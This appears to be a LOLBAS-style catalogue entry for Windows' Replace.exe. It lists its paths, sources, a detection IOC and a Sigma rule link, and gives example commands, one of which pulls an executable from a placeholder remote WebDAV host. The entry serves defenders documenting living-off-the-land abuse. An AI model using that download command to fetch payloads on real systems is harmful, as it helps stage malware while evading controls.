

/Replace.exe

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Used to replace file with another file

Paths:

C:\Windows\System32\replace.exe

C:\Windows\SysWOW64\replace.exe

Resources:

- <https://twitter.com/elceef/status/986334113941655553>
- <https://twitter.com/elceef/status/986842299861782529>

Acknowledgements:

- elceef ([@elceef](#))

Detections:

- IOC: Replace.exe retrieving files from remote server
- Sigma:

https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml

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Copy file.cab to destination

```
replace.exe C:\Source\File.cab C:\Destination /A
```

Use case: Copy files

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

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Download/Copy bar.exe to outdir

```
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
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Use case: Download file

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